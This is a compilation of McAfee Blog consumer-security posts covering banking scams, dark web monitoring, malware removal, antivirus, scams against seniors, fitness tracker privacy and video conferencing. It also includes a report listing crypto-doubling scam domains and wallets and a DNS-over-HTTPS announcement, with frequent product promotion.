Online banking can be super convenient — for both you and cybercriminals. And hackers may use a variety of tactics to gain access to your accounts. Most of these involve tricking you into giving them your account information.
With this type of online scam, fraudsters may send a text message or email that looks like it’s from your bank. Often, the message will ask for immediate action, such as confirming your information to keep the account from being closed.
The message might even include a link to the bank, but it actually goes to a fraudulent website designed to look like the bank’s website. When you enter your account information, the scammers record it.
Sometimes, the email asks you to call a fake customer service number. If you do, you’ll speak to someone who tries to get you to give over sensitive information, like your date of birth or Social Security number (SSN).
Occasionally, scammers already have some of your personal information. To gain your trust, they might mention personal details like your date of birth or the last four digits of your SSN. They may have learned this information from your social media posts or accessed it in a data breach.
Another way hackers may try to access your bank account is to steal or guess your password. If they can log into your account, they can use your sensitive information for personal gain, otherwise known as identity theft. They can then open credit card accounts in your name, purchase merchandise, or transfer money out of your account.
Cybercriminals use technology to guess billions of passwords per second. However, it’s more difficult to guess long passwords with a combination of letters and numbers.
For example, a computer can instantly guess a password consisting of eight letters. Adding one uppercase letter extends the time it takes to crack a password to 22 minutes. In contrast, a 12-character password with an uppercase letter, a number, and a symbol would take the computer 34,000 years to crack.
When you click a link or attachment in an email or download fake antivirus software, your device can become infected with malicious software or malware. A virus can let hackers view data from your device and use it to access your financial information or bank accounts.
Consider getting antivirus software to help protect your devices, like what’s offered through McAfee Total Protection. Our award-winning antivirus software provides 24/7 real-time threat protection against online threats like malware, viruses, ransomware, and phishing, across Apple and Android systems.
Public Wi-Fi gives you convenient, free access to the internet in restaurants, airports, and department stores. But it can also be easy for hackers to see your private information on an open network that doesn’t require a password.
If you log into your online bank account, your login information could be exposed, making you vulnerable to bank fraud. Shopping online with public Wi-Fi could also expose your credit card information.
Fortunately, you can protect yourself from cybercriminals with sensible precautions and a healthy dose of suspicion. Use the tips below to help safeguard your accounts from online banking scams.
McAfee Total Protection provides all-in-one protection for your personal information and privacy. You’ll have coverage for all of your laptops, tablets, and smartphones on most operating systems — Windows, macOS, Android, or iOS. In addition to premium antivirus software, you get identity monitoring and a secure VPN that shields your data when using public Wi-Fi.
You can better recognize phishing emails once you understand how banks communicate with customers. There are certain things legitimate banks never do. If you get a message like that, assume it’s fraudulent. Some other tips include:
At some point, almost everyone has used the same password for different websites. But this is one of the simplest ways for hackers to get into your accounts. If they figure out the password for one, they can sometimes access your other accounts.
The most common passwords are:
Use unique passwords for each website. They should be 12 characters long and include numbers, lowercase letters, uppercase letters, and symbols. McAfee Total Protection includes a password manager to help generate and store your passwords in a single location.
If you get an email about an issue with your bank account, you can always go directly to your bank’s website. Don’t click any links in a text or email — just go directly to your bank’s website to check your account. Similarly, if you get a phone call, dial your bank directly using the official telephone number.
Use two-factor authentication when logging into websites for your financial institutions. You’ll get a one-time code by text or email to use each time you log into your account.
When you log onto public Wi-Fi, anyone can see your internet activity. For that reason, you shouldn’t log into your bank account with public Wi-Fi unless you’re using a virtual private network (VPN).
McAfee Secure VPN protects your privacy by turning on automatically for unsecured networks. Your data is encrypted so it can’t be read by prying eyes. The VPN also keeps your online activity and physical location private and secure from advertisers.
Review your bank statements carefully each month to ensure there are no unauthorized transactions. Contact your bank immediately if you see any payments or withdrawals that you don’t recognize.
Being vigilant and understanding how scammers work can help you avoid online banking scams. For an additional layer of security, use McAfee Total Protection. Our comprehensive cybersecurity services protect all of your devices with award-winning antivirus, a secure VPN for safe Wi-Fi connections, and advanced identity monitoring. There’s even a team of security experts available to assist you around the clock.
With McAfee, you can bank online with ease knowing your personal data is secure.
The post Types of Online Banking Scams and How to Avoid Them appeared first on McAfee Blog.
It’s difficult to imagine what life was like before the internet. We log in daily to pay bills, shop, watch movies, and check out what friends and family are up to on social media. While the internet has made life easier, we may not consider how our online activities can make personal information — such as our Social Security numbers (SSNs) or bank account and credit card numbers — vulnerable to cybercriminals on the dark web.
Fortunately, you can find out if your information is on the dark web and keep tabs on your sensitive information with extensive dark web monitoring, offered through McAfee’s Identity Protection services.
This article explains what the dark web is, how to find out if personal details have reached the dark web, and how to protect your sensitive information.
Unlike the surface web we use for things like shopping and online banking, the dark web is part of the internet that’s not indexed by search engines. It can only be accessed with special web browsers. A few widely known networks include Tor, I2P, and Riffle.
Cybercriminals can browse, sell, or trade on dark websites with confidence and complete anonymity. Because of its highly layered encryption system, hackers can communicate without giving away their location, IP address, or identity.
Data can end up on the dark web in several ways, including through data breaches, using public Wi-Fi, visiting a nonsecure website, and leaving an offline paper trail.
A cybercriminal may hack into company databases and take personal data, such as email account addresses, passwords, and phone numbers. And while we all love to work at our favorite coffee shop, using an unsecured Wi-Fi network can leave our personal information in public view.
That’s why using a virtual private network (VPN) like McAfee Secure VPN, which comes with bank-grade encryption to scramble your data, can be a good idea. You’ll also only want to visit encrypted webpages when browsing online — keep an eye out for URLs beginning with HTTPS rather than HTTP. The “S” means added security for you. Lastly, shred paper containing your personal information or lock it away until you can.
With identity monitoring through McAfee Identity Protection, you’ll receive notifications if we find your personal information on the dark web. Our extensive monitoring service keeps tabs on up to 60 unique types of personal data and can notify you up to 10 months sooner than similar services. Plus, you get peace of mind with up to $1 million of ID theft coverage and hands-on restoration support to help reclaim your identity after identity theft.
While you can’t remove your information once it’s on the dark web, there are plenty of steps you can take to help protect yourself and prevent your data from falling into the wrong hands. You can:
No one wants their information to end up on the dark web. Fortunately, you can do a few things to minimize your risk of exposure. Here are some tips you can use to keep your data safe.
Identity protection software from McAfee can help keep your information out of the hands of cybercriminals. Some features of McAfee identity protection include expert security support, award-winning antivirus protection, a password manager, and firewall protection. Choose the plan that works best for you and keep tabs on your personal information.
This extra layer of security double-checks your identity when signing into an online account. You enter your password as usual and a unique six-digit, one-time code is sent to a trusted device via text. This added step can help improve the security of your personal information.
When creating or updating your account passwords, make sure to choose ones that are difficult to guess. Avoid using a pet’s name, your name, or other personal information that others can guess. It goes without saying, but don’t share any of your passwords.
Shared content can tell a lot about someone. Have you ever shared the make and model of your first car, your favorite movie or band, or your high school graduation year? This information helps unsavory characters figure out online passwords and security questions.
There are a lot of cool apps out there, and many are harmless. However, some may request access to your location, photos, contact list, and even microphone. Certain apps, especially those filled with malware, can then collect your data and share it with others. Fortunately, Android devices and Apple iPhones allow you to change your permission settings for apps.
With so many emails arriving in our inboxes, we may not always pay close attention to what we’re opening. However, scammers may use phishing emails in an attempt to access your personal information. Sometimes, these emails are obvious, but they can also look legit and appear as a trusted company, such as your bank or credit card company. If something seems amiss, such as a billing error or an invoice, log in through the company’s website rather than click links inside the email.
No one wants their information on the dark web. Thankfully, there are several things you can do to keep your personal information secure, including all-in-one protection from McAfee.
McAfee Total Protection comes with advanced identity monitoring, which provides faster and broader detection for your identity, plus premium antivirus software, safe browsing, and Secure VPN.
With easy setup and extensive monitoring, you can maintain your digital identity and gain peace of mind.
The post A Guide to Finding Out If Your Information Is on the Dark Web appeared first on McAfee Blog.
If you’re like most people, you probably use your computer for most of your online activities. It’s amazing what the internet can do to make our lives easier. But if you’ve spent any time online, you know the internet also comes with some risks.
Malware (or malicious software) is one risk of living a connected life. Whether it comes from infected websites, innocent-looking email attachments, or applications and tools you think you can trust, malware can expose your private information to cybercriminals who may use it for personal gain.
If you suspect that malicious software has infected your device, it’s important to remove it quickly to protect yourself.
Though dealing with malware can be scary, there are a few things you can do. This article will explain how malware can infect devices and how you can remove it from them.
There are many types of malware, which do their work in different ways. They can include viruses, worms, Trojans, spyware, adware, ransomware, and more.
Some common ways that Windows PCs, Macs, tablets, and smartphones can get infected include:
Malware can affect you in a variety of ways. For example, malware can allow hackers to steal your private information, uncover passwords, cause financial issues for you or your company, delete files, and render your device unusable.
Malware can also move from your computer to other devices, so you may unwittingly infect friends, family, or co-workers. It can gobble up your computer’s memory, slow its operation to a snail’s pace, and more.
For these reasons, it’s a good idea to find out how to remove malware and learn to protect yourself from it in the first place.
The Federal Trade Commission (FTC) Consumer Information points out some ways to know if malware has infected your device, including if it:
If you think your computer, smartphone or tablet has been infected by malware, the first step is to stop shopping, banking, and doing other things online that involve usernames, passwords, or other sensitive information until you have the problem resolved.
If you don’t have an antivirus program on your device, it’s a good idea to get one. McAfee’s antivirus software provides award-winning protection for your data and devices. It’s important to get antivirus software from a trusted name because some malware can even masquerade as security software.
It’s also important to make sure that your operating system for your different devices and applications are up to date. Older programs and apps might not have the latest security features — cybercriminals are constantly devising new ways to get people’s information — and outdated software can have a harder time fighting off infection.
Once your cybersecurity software is in place, you should:
If you have a PC with Windows 10 or 11, you already benefit from free virus threat protection with Microsoft Windows Defender. Windows Defender, or built-in Microsoft security, compares new files and programs against a database of known malware. It keeps an eye out for signs that an attack is underway, such as the encryption of key files.
Defender can run in active, passive, and disabled mode. In active mode, it’s the primary antivirus app on the device. This means the program will scan files, remedy any threats, and show detected threats in your organization’s security reports and in the Windows Security app.
Microsoft Defender will automatically turn off if you have another antivirus app installed and turned on. Microsoft Defender will turn back on automatically if you uninstall the other app.
In passive mode, Microsoft Defender isn’t used as the primary antivirus app on the device. It’ll scan files and report any threats but it won’t remedy those threats. Finally, Microsoft Windows can’t detect or address threats if it is disabled or uninstalled.
You can run quick and advanced scans in Windows Security. If you’re worried that a specific file or folder has been compromised, you can also run a manual scan by:
You’ll see the scan results and options for dealing with any potential threats.
Microsoft Defender is also available to protect Android smartphones from viruses and malware. It can also help against phishing and phishing and scans your Android device automatically to track and identify potentially unwanted, and dangerous, applications on your device.
Apple users, as well, have built-in antivirus software to help detect and fight off malware. Malware is commonly distributed across macOS systems by being embedded in a harmless-looking app.
Luckily, settings in Security & Privacy preferences allow you to designate the sources of software installed on your Mac. Just follow these steps:
Apple iPads and iPhones have strong built-in security and privacy protections, so it is up to the user on whether or not they want to install antivirus for additional malware protections. Apple boasts a “walled-garden” approach–meaning that their operating system is closed to outside apps and games not affiliated with their official app store unless you jailbreak the device.
Remember that while cybersecurity features built into devices are a great starting point, they’re not always comprehensive. That’s where antivirus software, like McAfee Total Protection, can help. It offers continuous protection against malware, viruses, phishing, ransomware, and other online threats. It also automatically updates so you don’t need to worry about manual upgrades.
The security software also includes alerts before you connect to risky websites and offers one-click fixes to help you stay safe online.
Antivirus software like McAfee works to block malware from infecting your computer, smartphone, or tablet. If malware somehow does get through, it can act as a powerful malware scanner by searching every file on your device for infections.
It can troubleshoot, look for vulnerabilities, and compile a list of infected software that can be quarantined (or isolated) to prevent it from doing harm and deleted at the end of the virus scan using removal tools.
McAfee’s anti-malware software updates its virus database by using an automatic web crawler that scans the internet, identifies online threats like malicious software, and figures out how to delete them.
McAfee antivirus uses this data to automatically update your device’s protective set-upl, providing strong protection so nothing harmful gets in.
Besides desktop computers, McAfee provides mobile security for both Android and Apple devices. For example, when you use your iPhone or Android phone on a public Wi-Fi system, McAfee’s Wi-Fi privacy protection (VPN) in effect turns the public network into a private one, where you can surf safely. Of course, its antivirus app regularly scans for threats and malware while actively blocking them in real time, keeping your mobile devices protected.
McAfee offers a variety of plans tailored to fit your needs and budget so your computer and other devices — including Android smartphones, Apple iPhones, and various tablets — are protected from malware and other online threats.
McAfee is a leader in consumer security, and our antivirus software is used on more than 6 million devices. It’s easy to install and use, provides 24/7 real-time threat protection, and comes with a Virus Pledge — a money-back guarantee that it’ll remove all viruses from your protected devices.
You can get antivirus software as part of McAfee’s Total Protection services. This includes all-in-one protection for your personal info and privacy, with identity restoration assistance and up to $1 million of identity theft coverage for data breaches. You also have access to identity monitoring, safe browsing, and a secure VPN.
With McAfee, you can turn apprehension about malware into the peace of mind that comes from proper protection.
The post How to Quickly Remove Malware in 2022 appeared first on McAfee Blog.
If your PC runs on Windows 10, you’re in very good company. The Microsoft operating system is the most widely used OS in the world. Many Windows 10 users have also been upgraded to Windows 11 through a rollout that began in 2021. Microsoft plans to complete the Windows update by mid-2022.
Unfortunately, its success as a widely used operating system makes Windows attractive to hackers. And if malicious software like malware can make a home in Windows, there are a lot of targets. So, this might raise the question of how best to protect your Windows 10 or 11 device.
Should you just use Windows Defender — Microsoft’s free version of antivirus software — or buy additional protection?
Read on to learn what Microsoft Defender covers and how additional virus protection can secure all of your connected devices.
For years, Microsoft has offered anti-malware protection, but the current version provides effective security against viruses. Windows Defender is a free antivirus tool that’s built into the Windows operating system.
While it’s considered one of the best free antivirus software programs, it doesn’t have any extra features that might come with paid security software. If you’re just looking for good antivirus software, though, Windows Defender can get the job done.
If you’re not using third-party antivirus protection, you’ll want to make sure that your Windows Defender antivirus coverage is working on your computer. Here’s how to check:
To make sure your Windows security is running, follow these steps:
With built-in coverage, you may wonder if you should invest in paid antivirus software. The answer is, of course, yes! It can be a good idea to get another antivirus solution because blocking malware and viruses should just be one part of your threat protection.
Today’s cybercriminals are using elaborate ruses to try to access your personal information, such as your bank and credit card numbers. And some of their scams might even target your devices with risky apps or links on social media.
As they always say, it’s better to be safe than sorry! Having another antivirus program can make sure you have real-time protection and access to the latest security features.
There are a lot of antivirus protection programs out there, but they aren’t all created equal. When looking for the best antivirus software for your needs, here are some things to consider for your devices running on Windows 10 or 11.
If you have a Windows PC, use an iPhone, and your tablet runs on Chrome, it helps to have an antivirus app that works across multiple operating systems. The good news is that McAfee Total Protection is compatible with Windows, Mac, iOS, and Android devices, so you can continue enjoying all of your different devices without losing protection.
For greater cybersecurity, antivirus software should defend against a variety of online threats like viruses, spyware, and ransomware. And that’s exactly what you get with McAfee Total Protection. Our antivirus software can also help you avoid phishing attacks, which are fake messages to trick you into providing information or clicking a malicious link. The software will give you a warning when it recognizes a risky link, website, or file.
Functionality is another thing you’ll want to consider when looking for antivirus software. If the program isn’t easy to use to begin with — especially if you want to easily manage multiple devices — what good will it do you?
But you don’t have to worry with McAfee Total Protection, which allows you to connect and manage all of your computers and mobile devices from one single dashboard.
To keep your devices free from online threats like malware, good antivirus software will scan your files for threats. McAfee Total Protection provides 24/7 protection with real-time, on-demand, and scheduled scanning of files and applications.
McAfee Total Protection was developed with an understanding of how cybercriminals operate. Scammers may use a variety of tactics to try to steal your personal information, so our all-in-one protection also includes:
Using Microsoft’s built-in antivirus software can protect your Windows devices from viruses and malware. But to really keep your network and all of your devices secure, it’s good to rely on comprehensive protection like McAfee Total Protection. With services like identity monitoring, safe browsing, and a secure VPN, you can enjoy the internet without worry.
The post Does Windows 10 or 11 Need Antivirus Software? appeared first on McAfee Blog.
The growing number of internet crimes targeting senior adults is mind-blowing.
In 2021, more than 92,000 people over the age of 60 reported losses of $1.7 billion, according to IC3, the FBI’s Internet Crime division. That number reflects a 74 percent increase in losses from 2020.
These numbers tell us a few things. They tell us that scamming the elderly is a multi-billion-dollar business for cybercriminals. It also tells us that regardless of how shoddy or obvious online scams may appear to anyone outside the senior community, they are working.
However, information is power. Senior adults can protect their hard-earned retirement funds and government benefits by staying informed, adopting new behaviors, and putting tools in place designed to stop scammers in their tracks. And, when possible, family, friends, and caregivers can help.
The FBI said confidence fraud and romance scams netted over $281 million in losses.
The top four types of scams targeting seniors: Romance scams (confidence scams), fake online shopping, false utility representatives, and government agent imposters. Here’s how to make a few shifts to mindset and your daily routine and steer clear of digital deception.
Just as the seasons change in our lives, so too must our behaviors when connecting to people and information via our devices. Cybercriminals target older people because they assume they aren’t as informed about schemes or technically savvy as younger people. Senior adults and their loved ones can work daily to change that narrative. With the right mindset, information, and tools, seniors can connect online with confidence and enjoy their golden years without worrying about digital deception.
The post Seniors: How to Keep Your Retirement Safe from Online Scams appeared first on McAfee Blog.
Congratulations! You reached 10,000 steps today!
It’s a great feeling when a wearable fitness device vibrates to let you know when you hit the day’s fitness goal. The digital fireworks display that lights up your watch’s screen is a signal that you should keep on moving to challenge yourself more … or spend the rest of the day on the couch guilt-free.
While fitness wearable devices, trackers, and apps are excellent motivators for you, cybercriminals love them for their vulnerabilities and privacy loopholes. This doesn’t mean you have to chuck your expensive watch in the bin or delete your fitness apps from your smartphone. Awareness and smart habits go a long way in deterring cybercriminals. Keep reading to learn more about wearable technology vulnerabilities and how you can sidestep each.
Many fitness tracker apps and wearables are equipped with GPS. At the end of a run or long walk, you can view your exact route, sometimes with detailed maps that show street and town names. This tracking feature was potentially dangerous back in 2018 when a fitness app released a heat map of all its users’ running routes for the year, which clearly outlined secret military bases.1
Even if you’re stationed in a suburb and not hostile territory, you may consider the risks of sharing your location data. A determined criminal who has time to spare can guess your address and see the times of days when you’re commonly out at the gym or on a run.
When you purchase a wearable fitness device, you often have to pair it with an accompanying smartphone app to see your daily stats and tailor your fitness goals. Think about all the personally identifiable information (PII) that app now houses: your full name, password, address, height, weight, location, medical concerns, daily activity patterns, etc. In the hands of a cybercriminal, this information can bring a nefarious actor one step closer to impersonating you. Plus, if your health data makes it onto the dark web or is sold to health companies, it may result in serious privacy concerns.
Luckily, there are ways to get peace of mind about the security of your identity. Identity protection services, such as McAfee Identity Monitoring Service, provide expert identity theft support and up to $1 million in identity theft coverage.
Wearable devices complement any athleisure outfit and are a fun way to inspire athletic competition between a group of friends. Here are a few ways you can patch some of their security shortcomings:
When you first purchase any new device, fitness trackers included, your first step should always be to reset the factory password. Cybercriminals know that many people often skip this step, making it easy for them to walk right into new accounts. If you have a hard time remembering your passwords, consider entrusting them to a password manager to remember them for you. McAfee True Key makes it so that you only have to remember one master password to unlock the rest, and it’s protected by one of the strongest encryption algorithms available.
This is a tip you should consider for all your social media accounts. When you post about your life online, you actually divulge a lot of personal details that are helpful to cybercriminals. In the case of fitness trackers and apps, sharing the times of day when you go to the gym, are at the local track, or are on a bike path may give a criminal an idea of windows during the day when your home is empty. It’s unsettling to think that strangers can track your whereabouts, so it’s best to keep those details exclusive to people you personally know and trust.
In the case of fitness trackers and apps, a savvy cybercriminal may be able take an educated guess at your address, with which they can do a myriad of nefarious activities. Some running and fitness apps may be able to still create maps of your running routes but erase street names and other landmarks to make it more private. But when in doubt, turn off geolocation.
Fitness trackers are a fun way to stir up some friendly competition, keep connected with your fit friends, and motivate yourself to exercise and maintain healthy habits. While you’re shopping for a new device or when evaluating your current tracker, keep these tips in mind to enjoy this technology to its fullest.
The post Why You Should Care About Fitness Tracker Security appeared first on McAfee Blog.
There were multiple times during my digital parenting journey when I would have loved to put my head in the sand. Pretend that life was easy and that my kids weren’t going to grow up and want devices and to join social media. But I didn’t. I couldn’t. With four kids who had technology running through their veins, I had no choice but to embrace it.
While many kids will first experience the internet from a family laptop or via their parent’s phone at a coffee shop (we’ve all done it), it’s when they get these devices into their hot little hands unsupervised a few years down the track that the real show starts. And that’s usually when they get access to a phone. Research from our eSafety Office shows that just under half of Aussie kids between 6 and 13 use a smartphone with about 1/3 owning their own device.
And while we can all wax lyrical about the good old days when we used payphones and how great it would be if our kids didn’t have smartphones, we need to keep it real. Technology is not going anywhere so the best thing we can to accept it’s here, educates our kids about how to use it safely and introduce boundaries and rules to ensure they are as safe as possible.
So, without further ado, let me introduce you to the concept of a family technology contract – a great way to manage your kids and their tech use.
I like to think of a tech agreement as a clear outline of your expectations of your kids’ digital behavior – any behavior that occurs while using a device should be included in the agreement and yes, include TV here too! Now, before we progress, I have to share one key tip – don’t even think of putting together an agreement like this when tensions are high, or a heated argument is still in place – it will never work. Only talk about this or start working on it when you are in a calm and serene headspace.
The most important thing is to have an agreement that is suitable for your kids’ ages and maturity and one that works for your family’s schedule. There’s no point making your 5-year-old sign an agreement that limits their time on Instagram when they’re probably quite happy visiting only the online sites that you have ‘bookmarked’ for them. And if your kids have a super busy schedule then you might want to include a rule that means there is no ‘leisure screen time’ (eg TV/movie viewing) till all homework is complete.
While it’s entirely based on your kids’ interests and tech usage, I think 3 is a good age to start with a basic agreement. That’s when they start understanding rules. And how old is too old for a tech contract, I hear you ask? Well, I acknowledge that introducing new rules and boundaries when your kids are well into their teens may be difficult however if things feel out of control and you are concerned about their mental health and less than ideal digital habits then it may also be exactly what you all need!
Keeping an agreement age-appropriate and relevant is essential. You may also want to keep it simple and focus on a few key things, such as:
But it can include so much more. Here are some items you may choose to include in your own personalized version. Think of this list as a shopping list. Simply, pick & choose what works for the ages of your kids and your family’s structure.
Online Behaviour
I understand that access to my devices is a privilege and breaking this agreement will lead to the following consequences: (list what you feel is appropriate)
I would have all parties sign and date the agreement: both parents and kids. You may choose to keep a copy on the fridge? Again, whatever works for your situation.
So, if you are feeling like this digital parenting thing is getting the better of you, please consider introducing an agreement. For decades, parenting experts have written about the virtues of establishing clear boundaries for our kids and in my opinion, a tailored family tech agreement absolutely does that!
Good luck!!
Alex x
The post Why You Need to Get a Family Technology Agreement Happening appeared first on McAfee Blog.
As millions of people around the world practice social distancing and work their office jobs from home, video conferencing has quickly become the new norm. Whether you’re attending regular work meetings, partaking in a virtual happy hour with friends, or catching up with extended family across the globe, video conferencing is a convenient alternative to many of the activities we can no longer do in real life. But as the rapid adoption of video conferencing tools and apps occurs, is security falling by the wayside?
One security vulnerability that has recently made headlines is the ability for uninvited attendees to bombard users’ virtual meetings. How? According to Forbes, many users have posted their meeting invite links on social media sites like Twitter. An attacker can simply click on one of these links and interrupt an important conference call or meeting with inappropriate content.
Online conferencing tools allow users to hold virtual meetings and share files via chat. But according to Security Boulevard, communicating confidential business information quickly and privately can be challenging with these tools. For example, users are not always immediately available, even when working from home. In fact, many parents are simultaneously doubling as working parents and teachers with the recent closure of schools and childcare providers. If a user needs to share private information with a coworker but they are unable to connect by video or phone, they might revert to using a messaging platform that lacks end-to-end encryption, a feature that prevents third-party recipients from seeing private messages. This could lead to leaks or unintended sharing of confidential data, whether personal or corporate. What’s more, the lack of using a secure messaging platform could present a hacker with an opportunity to breach a victim’s data or device. Depending on the severity of this type of breach, a victim could be at risk of identity theft.
With the recent surge of new video conferencing users, privacy policies have been placed under a microscope. According to WIRED, some online conferencing tools have had to update their policies to reflect the collection of user information and meeting content used for advertising or other marketing efforts. Another privacy concern was brought to light by a video conferencing tool’s attention-tracking feature. This alerts the virtual meeting host when an attendee hasn’t had the meeting window in their device foreground for 30 seconds, resulting in users feeling that their privacy has been compromised.
As users become accustomed to working from home, video conferencing tools will continue to become a necessary avenue for virtual communication. But how can users do so while putting their online security first? Follow these tips to help ensure that your virtual meetings are safeguarded:
There are plenty of video conferencing tools available online. Before downloading the first one you see, do your research and check for possible security vulnerabilities around the tools. Does the video conferencing tool you’re considering use end-to-end encryption? This ensures that only meeting participants have the ability to decrypt secure meeting content. Additionally, be sure to read the privacy policies listed by the video conferencing programs to find the one that is the most secure and fits your needs.
To ensure that only invited attendees can access your meeting, make sure they are password protected. For maximum safety, activate passwords for new meetings, instant meetings, personal meetings, and people joining by phone.
To keep users (either welcome or unwelcome) from taking control of your screen while you’re video conferencing, select the option to block everyone except the host (you) from screen sharing.
By turning on automatic updates, you are guaranteed to have all the latest security patches and enhancements for your video conferencing tool as soon as they become available.
The post How Secure Is Video Conferencing? appeared first on McAfee Blog.
By Oliver Devane
Update: In the past 24 hours (from time of publication) McAfee has identified 15 more scam sites bringing the total to 26. The combined value of the wallets shared on these sites is over $1,300,000 which is an increase of roughly $1,000,000 since this blog was last published. This highlights the scale of this current scam campaign. The table within this blog has been updated to include the new sites and crypto-wallets.
McAfee has identified several Youtube channels which were live-streaming a modified version of a live stream called ‘The B Word’ where Elon Musk, Cathie Wood, and Jack Dorsey discuss various aspects of cryptocurrency.
The modified live streams make the original video smaller and put a frame around it advertising malicious sites that it claims will double the amount of cryptocurrency you send them. As the topic of the video is on cryptocurrency it adds some legitimacy to the websites being advertised.
The original video is shown below on the left and a modified one which includes a reference to a scam site is shown on the right.
We identified several different streams occurring at a similar same time. The images of some are shown below:
The YouTube streams advertised several sites which shared a similar theme. They claim to send cryptocurrency worth double the value which they’ve received. For example, if you send 1BTC you will receive 2BTC in return. One of the site‘s frequently asked questions (FAQ) is shown below:
Here are some more examples of the scam sites we discovered:
The sites attempt to trick the visitors into thinking that others are sending cryptocurrency to it by showing a table with recent transactions. This is fake and is generated by JavaScript which creates random crypto wallets and amounts and then adds these to the table.
The wallets associated with the malicious sites have received a large number of transactions with a combined value of $280,000 as of 5 PM UTC on the 5th of May 2022
Scam Site | Crypto Type | Wallet | Value as on 5PM UTC 5th May 2022 |
22ark-invest[.]org | ETH | 0x820a78D8e0518fcE090A9D16297924dB7941FD4f | $25,726.46 |
22ark-invest[.]org | BTC | 1Q3r1TzwCwQbd1dZzVM9mdFKPALFNmt2WE | $29,863.78 |
2xEther[.]com | ETH | 0x5081d1eC9a1624711061C75dB9438f207823E694 | $2,748.50 |
2x-musk[.]net | ETH | 0x18E860308309f2Ab23b5ab861087cBd0b65d250A | $10,409.13 |
2x-musk[.]net | BTC | 17XfgcHCfpyYMFdtAWYX2QcksA77GnbHN9 | $4,779.47 |
arkinvest22[.]net | ETH | 0x2605dF183743587594A3DBC5D99F12BB4F19ac74 | $11,810.57 |
arkinvest22[.]net | BTC | 1GLRZZHK2fRrywVUEF83UkqafNV3GnBLha | $5,976.80 |
doublecrypto22[.]com | ETH | 0x12357A8e2e6B36dd6D98A2aed874D39c960eC174 | $0.00 |
doublecrypto22[.]com | BTC | 1NKajgogVrRYQjJEQY2BcvZmGn4bXyEqdY | $0.00 |
elonnew[.]com | ETH | 0xAC9275b867DAb0650432429c73509A9d156922Dd | $0.00 |
elonnew[.]com | BTC | 1DU2H3dWXbUA9mKWuZjbqqHuGfed7JyqXu | $0.00 |
elontoday[.]org | ETH | 0xBD73d147970BcbccdDe3Dd9340827b679e70d9d4 | $18,442.96 |
elontoday[.]org | BTC | bc1qas66cgckep3lrkdrav7gy8xvn7cg4fh4d7gmw5 | $0.00 |
Teslabtc22[.]com | ETH | 0x9B857C44C500eAf7fAfE9ed1af31523d84CB5bB0 | $27,386.69 |
Teslabtc22[.]com | BTC | 18wJeJiu4MxDT2Ts8XJS665vsstiSv6CNK | $17,609.62 |
tesla-eth[.]org | ETH | 0x436F1f89c00f546bFEf42F8C8d964f1206140c64 | $5,841.84 |
tesla-eth[.]org | BTC | 1CHRtrHVB74y8Za39X16qxPGZQ12JHG6TW | $132.22 |
teslaswell[.]com | ETH | 0x7007Fa3e7dB99686D337C87982a07Baf165a3C1D | $9.43 |
teslaswell[.]com | BTC | bc1qdjma5kjqlf7l6fcug097s9mgukelmtdf6nm20v | $0.00 |
twittergive[.]net | ETH | 0xB8e257C18BbEC93A596438171e7E1E77d18671E5 | $25,918.90 |
twittergive[.]net | BTC | 1EX3dG9GUNVxoz6yiPqqoYMQw6SwQUpa4T | $99,123.42 |
Scammers have been using social media sites such as Twitter and Youtube to attempt to trick users into parting ways with their cryptocurrency for the past few years. McAfee urges its customers to be vigilant and if something sounds too good to be true then it is most likely not legitimate.
Our customers are protected against the malicious sites detailed in this blog as they are blocked with McAfee Web Advisor
Type | Value | Product | Blocked |
URL – Crypto Scam | twittergive[.]net | McAfee WebAdvisor | YES |
URL – Crypto Scam | tesla-eth[.]org | McAfee WebAdvisor | YES |
URL – Crypto Scam | 22ark-invest[.]org | McAfee WebAdvisor | YES |
URL – Crypto Scam | 2xEther[.]com | McAfee WebAdvisor | YES |
URL – Crypto Scam | Teslabtc22[.]com | McAfee WebAdvisor | YES |
URL – Crypto Scam | elontoday[.]org | McAfee WebAdvisor | YES |
URL – Crypto Scam | elonnew[.]com | McAfee WebAdvisor | YES |
URL – Crypto Scam | teslaswell[.]com | McAfee WebAdvisor | YES |
URL – Crypto Scam | 2x-musk[.]net | McAfee WebAdvisor | YES |
URL – Crypto Scam | doublecrypto22[.]com | McAfee WebAdvisor | YES |
URL – Crypto Scam | arkinvest22[.]net | McAfee WebAdvisor | YES |
The post Crypto Scammers Exploit: Elon Musk Speaks on Cryptocurrency appeared first on McAfee Blog.
On the internet, the Domain Name System (DNS) is the way regular people access websites such as ESPN.com or BBC.com. However, the internet uses a unique series of Internet Protocol (IP) addresses to access websites which are tricky for humans to remember. Web browsers typically interact with websites through IP addresses, and DNS translates websites into IP addresses so browsers can access Internet resources. Historically, this has been done in the form of unencrypted clear text that ISPs and security providers such as McAfee can read and act upon to sort through risky websites or to improve network performance and intelligence.
However, this also opens up vulnerabilities of security and privacy. As an industry, (Apple, Microsoft, Google, and others) participants are moving toward encrypting this traffic to and from DNS servers with protocols such as DNS over TLS (DoT) and DNS over HTTPS (DoH). Unless the ISP offers DoT/DoH decryption (translation) capabilities, traffic could go directly to outside DNS providers such as Google DNS and Cloudflare who do. Without this visibility, unsafe websites cannot be seen and blocked using DNS filtering technology. Customers can visit sites created by criminals that can trick them to steal their account credentials, download ransomware, or show inappropriate content to their kids.
We’re advancing our Secure Home Platform (SHP) technology to future proof the ability for our partners to protect their customers, their families, and their connected home devices. McAfee is the first in the market to build and introduce this technology. McAfee and OpenXchange have partnered to provide an integration of a forwarder/translator (PowerDNS) with the home router-based SHP product that will make it possible to keep the traffic within the ISP network, as shown in the diagram below – allowing DNS filtering even in encrypted DNS environments.
The ISP can continue to read the traffic and stands to benefit in several ways:
Consumers in turn benefit from these additional capabilities that ISPs can provide in security, privacy, and performance.
If you are interested in McAfee’s exciting new DoT-DoH technology for the Secure Home Platform, please contact your McAfee Account Representative for further details.
The post Advancing our Secure Home Platform with DNS over HTTPS appeared first on McAfee Blog.
Whether you think you might have a virus on your computer or devices, or just want to keep them running smoothly, it’s easy to do a virus scan. How to check for viruses depends on the software and device you have, so we’ll go through everything you need to know to run a scan effectively and keep your computers, phones and tablets in tip-top shape.
First, let’s cover a few of the telltale signs your device might have a virus. Is your computer or device acting sluggish or having a hard time booting up? Have you noticed missing files or a lack of storage space? Have you noticed emails or messages sent from your account that you did not write? Perhaps you’ve noticed changes to your browser homepage or settings? Or maybe, you’re seeing unexpected pop-up windows, or experiencing crashes and other program errors. These are all examples of signs that you may have a virus, but don’t get too worried yet, because many of these issues can be resolved with a virus scan.
